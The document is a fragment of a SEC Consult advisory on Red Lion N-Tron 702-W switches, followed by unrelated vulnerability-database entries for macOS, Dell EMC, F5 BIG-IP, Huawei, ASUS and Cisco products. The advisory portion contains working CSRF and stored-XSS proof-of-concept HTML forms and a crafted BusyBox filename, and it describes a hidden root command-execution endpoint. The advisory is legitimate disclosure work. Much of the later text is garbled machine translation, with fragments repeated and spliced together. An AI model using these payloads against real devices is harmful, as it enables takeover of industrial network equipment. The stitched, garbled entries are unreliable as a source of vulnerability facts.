-----------------------------195698564115308644282115103021 Content-Disposition: form-data; name="dns1" -----------------------------195698564115308644282115103021 Content-Disposition: form-data; name="dns2" -----------------------------195698564115308644282115103021-- ------------------------------------------------------------------------------- This can also be embedded in the HTML code as shown below: ------------------------------------------------------------------------------- <html> <body> <script>history.pushState('', '', '/')</script> <form action="http://$IP/network.cgi" method="POST" enctype="multipart/form-data"> <input type="hidden" name="netmode" value="bridge" /> <input type="hidden" name="wlanipmode" value="0" /> <input type="hidden" name="brip" value="192&#46;168&#46;1&#46;202" /> <input type="hidden" name="brmask" value="255&#46;255&#46;255&#46;0" /> <input type="hidden" name="brgw" value="192&#46;168&#46;1&#46;1&quot;&gt;&lt;script&gt;alert&#40;document&#46;location&#43;&quot;&#32;&gt;&#32;SEC&#45;Consult&quot;&#41;&lt;&#47;script&gt;" /> <input type="hidden" name="dns1" value="" /> <input type="hidden" name="dns2" value="" /> <input type="submit" value="Submit request" /> </form> </body> </html> ------------------------------------------------------------------------------- 3) Cross-Site Request Forgery (CSRF) - CVE-2020-16208 CSRF can be triggered on each endpoint as the whole web-interface does not implement any protection mechanisms. Changing the hostname to "SEC Consult" can be done with the following embedded HTML code: ------------------------------------------------------------------------------- <html> <body> <script>history.pushState('', '', '/')</script> <form action="http://$IP/system.cgi" method="POST" enctype="multipart/form-data"> <input type="hidden" name="hostname" value="SEC&#32;Consult" /> <input type="hidden" name="action" value="chhost" /> <input type="submit" value="Submit request" /> </form> </body> </html> ------------------------------------------------------------------------------- 4) Hidden OS Web-Shell Interface - CVE-2020-16204 The endpoint "/admin.cgi" is not referenced within the whole web-interface and also not documented in the manual. By browsing this endpoint, multiple actions can be natively triggered: * Execute commands in context of the root user * Upload files * Download files * Change access rights All other actions can be done via the command execution. The lack of CSRF protections allows attackers to execute commands on the device by luring a user on malicious web-pages. 5) Known BusyBox Vulnerabilities The BusyBox shell autocompletion vulnerability (CVE-2017-16544) was verified on an emulated device: A file with the name "\ectest\n\e]55;test.txt\a" was created to trigger the vulnerability. ------------------------------------------------------------------------------- # ls "pressing <TAB>" test 55\;test.txt # ------------------------------------------------------------------------------- 6) Outdated Software Components By analyzing the firmware a lot of components are found to be outdated: * BusyBox 1.0.1 * PHP/FI 2.0.1 * Dnsmasq 2.35 * Boa 0.93.15 Vulnerable / tested versions: ----------------------------- the following firmware version has been tested: * Red Lion N-Tron 702-W / 2.0.26 * Red Lion N-Tron 702M12-W / 2.0.26 Vendor contact timeline: ------------------------ 2020-03-09: Contacting vendor through support.emea@redlion.net; No answer. 2020-03-17: Asked for status update; No answer. 2020-03-30: Asked for status update, added incoming.ics-cert@redlion.net to the list of recipients; No answer. 2020-04-13: Requested support for coordination from CERT@VDE for the advisory. Sent the advisory to the CERT. 2020-04-14: Security contact from CERT@VDE answered, that ICS-CERT was also in- formed. 2020-07-17: Asked contact at ICS-CERT for status update; Contact stated that they are waiting for an update of Red Lion. 2020-08-20: Received CISA draft for an advisory from CERT@VDE. 2020-08-28: Found the published advisory on CISA's website* which was released on 2020-08-27. 2020-09-02: Release of security advisory. * https://us-cert.cisa.gov/ics/advisories/icsa-20-240-01 Solution: --------- Upgrade to newer hardware. Workaround: ----------- None. Advisory URL: ------------- https://www.sec-consult.com/en/vulnerability-lab/advisories/index.html ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ SEC Consult Vulnerability Lab SEC Consult Europe | Asia | North America About SEC Consult Vulnerability Lab The SEC Consult Vulnerability Lab is an integrated part of SEC Consult. It ensures the continued knowledge gain of SEC Consult in the field of network and application security to stay ahead of the attacker. The SEC Consult Vulnerability Lab supports high-quality penetration testing and the evaluation of new offensive and defensive technologies for our customers. Hence our customers obtain the most current information about vulnerabilities and valid recommendation about the risk profile of new technologies. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Interested to work with the experts of SEC Consult? Send us your application https://www.sec-consult.com/en/career/index.html Interested in improving your cyber security with the experts of SEC Consult? Contact our local offices https://www.sec-consult.com/en/contact/index.html ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Mail: research at sec-consult dot com Web: https://www.sec-consult.com Blog: http://blog.sec-consult.com Twitter: https://twitter.com/sec_consult EOF T. Weber / @2020

An out-of-bounds read was addressed with improved input validation. This issue is fixed in macOS Catalina 10.15.6. A local user may be able to cause unexpected system termination or read kernel memory. This vulnerability allows local attackers to disclose sensitive information on affected installations of Apple macOS. An attacker must first obtain the ability to execute low-privileged code on the target system in order to exploit this vulnerability.The specific flaw exists within the AppleIntelKBLGraphics kext. The issue results from the lack of proper validation of user-supplied data, which can result in a read past the end of an allocated data structure. An attacker can leverage this in conjunction with other vulnerabilities to escalate privileges and execute code in the context of the kernel. Apple macOS Catalina is a set of dedicated operating systems developed by Apple for Mac computers

Dell EMC Isilon OneFS version 8.2.2 and Dell EMC PowerScale OneFS version 9.0.0 contains a buffer overflow vulnerability in the Likewise component. A remote unauthenticated malicious attacker may potentially exploit this vulnerability to cause a process restart

in BIG-IP versions 15.1.0-15.1.0.4, 15.0.0-15.0.1.3, 14.1.0-14.1.2.6, 13.1.0-13.1.3.4, 12.1.0-12.1.5.1, and 11.6.1-11.6.5.2, Syn flood causes large number of MCPD context messages destined to secondary blades consuming memory leading to MCPD failure. This issue affects only VIPRION hosts with two or more blades installed. Single-blade VIPRION hosts are not affected. plural BIG-IP The product contains a resource exhaustion vulnerability.Service operation interruption (DoS) It may be put into a state. BIG-IP version 15.1.0 to 15.1.0.4, version 15.0.0 to 15.0.1.3, version 14.1.0 to 14.1.2.3, version 13.1.0 to 13.1.3.3, 12.1.0 Versions up to 12.1.5.1 and versions between 11.6.1 and 11.6.5.1 have a security vulnerability

In BIG-IP versions 15.1.0-15.1.0.4, 15.0.0-15.0.1.3, 14.1.0-14.1.2.3, 13.1.0-13.1.3.3, 12.1.0-12.1.5.1, and 11.6.1-11.6.5.1, the restjavad process's dump command does not follow current best coding practices and may overwrite arbitrary files. plural BIG-IP The product contains an input verification vulnerability.Information is tampered with and service operation is interrupted (DoS) It may be put into a state. BIG-IP version 15.1.0 to 15.1.0.4, version 15.0.0 to 15.0.1.3, version 14.1.0 to 14.1.2.3, version 13.1.0 to 13.1.3.3, 12.1.0 There is a security vulnerability in versions between 12.1.5.1 and 11.6.1 to 11.6.5.1

In BIG-IP versions 15.1.0-15.1.0.4, 15.0.0-15.0.1.3, 14.1.0-14.1.2.3, 13.1.0-13.1.3.3, 12.1.0-12.1.5.1, and 11.6.1-11.6.5.1, an undisclosed TMUI page contains a vulnerability which allows a stored XSS when BIG-IP systems are setup in a device trust. plural BIG-IP The product contains a cross-site scripting vulnerability.Information may be obtained and tampered with. BIG-IP version 15.1.0 to 15.1.0.4, version 15.0.0 to 15.0.1.3, version 14.1.0 to 14.1.2.3, version 13.1.0 to 13.1.3.3, 12.1.0 There is an XSS vulnerability in versions between 12.1.5.1 and 11.6.1-11.6.5.1, which is caused by the lack of correct validation of client data in WEB applications in BIG-IP. An attacker could exploit this vulnerability to execute client code

In BIG-IP versions 15.1.0-15.1.0.4, 15.0.0-15.0.1.3, 14.1.0-14.1.2.3, 13.1.0-13.1.3.3, 12.1.0-12.1.5.1, and 11.6.1-11.6.5.1, the Traffic Management Microkernel (TMM) may stop responding when processing Stream Control Transmission Protocol (SCTP) traffic when traffic volume is high. This vulnerability affects TMM by way of a virtual server configured with an SCTP profile. plural BIG-IP The product contains a resource depletion vulnerability.Denial of service (DoS) It may be put into a state. F5 BIG-IP is an application delivery platform integrated with network traffic management, application security management, load balancing and other functions of the US company F5. F5 BIG-IP version between 15.1.0 and 15.1.0.4, version between 15.0.0 and 15.0.1.3, version between 14.1.0 and 14.1.2.3, version between 13.1.0 and 13.1.3.3, version 12.1. Attackers can exploit this vulnerability to cause damage to TMM

There is a buffer error vulnerability in some Huawei product. An unauthenticated attacker may send special UPNP message to the affected products. Due to insufficient input validation of some value, successful exploit may cause some service abnormal. (Vulnerability ID: HWPSIRT-2017-08234) This vulnerability has been assigned a Common Vulnerabilities and Exposures (CVE) ID: CVE-2020-9086. Huawei of HUAWEI 4G Router B612 An out-of-bounds write vulnerability exists in firmware.Service operation interruption (DoS) It may be in a state. Huawei 4G Router B612 is an LTE router product of China's Huawei (Huawei) company. The product can use 4G network as a shared hotspot. Huawei 4G Router B612 has security vulnerabilities. The vulnerability stems from the program not validating the input correctly

There is a NULL pointer dereference vulnerability in some Huawei products. An attacker may send specially crafted POST messages to the affected products. Due to insufficient validation of some parameter in the message, successful exploit may cause some process abnormal. (Vulnerability ID: HWPSIRT-2017-10105) This vulnerability has been assigned a Common Vulnerabilities and Exposures (CVE) ID: CVE-2020-9085. Huawei of HUAWEI 4G Router B612 The firmware has NULL There is a vulnerability in pointer dereference.Service operation interruption (DoS) It may be in a state. Huawei 4G Router B612 is a 4G router device. Huawei 4G Router B612 has a null pointer reference vulnerability in processing message parameters, allowing remote attackers to use the vulnerability to submit special requests, which can crash the application and cause a denial of service attack

An issue was discovered on ASUS RT-AC1900P routers before 3.0.0.4.385_20253. They allow XSS via spoofed Release Notes on the Firmware Upgrade page. ASUS RT-AC1900P A cross-site scripting vulnerability exists in the router.Information may be obtained and tampered with. Remote attackers can use the vulnerability to inject malicious scripts or HTML code. When malicious data is viewed, they can obtain sensitive information or hijack user sessions

A vulnerability in the Enable Secret feature of Cisco Nexus 3000 Series Switches and Cisco Nexus 9000 Series Switches in standalone NX-OS mode could allow an authenticated, local attacker to issue the enable command and get full administrative privileges. To exploit this vulnerability, the attacker would need to have valid credentials for the affected device. The vulnerability is due to a logic error in the implementation of the enable command. An attacker could exploit this vulnerability by logging in to the device and issuing the enable command. A successful exploit could allow the attacker to gain full administrative privileges without using the enable password. Note: The Enable Secret feature is disabled by default. NX-OS Exists in a vulnerability related to lack of authentication.Information is obtained, information is tampered with, and service operation is interrupted. (DoS) It may be put into a state. Cisco Nexus 3000 is a set of Cisco switch equipment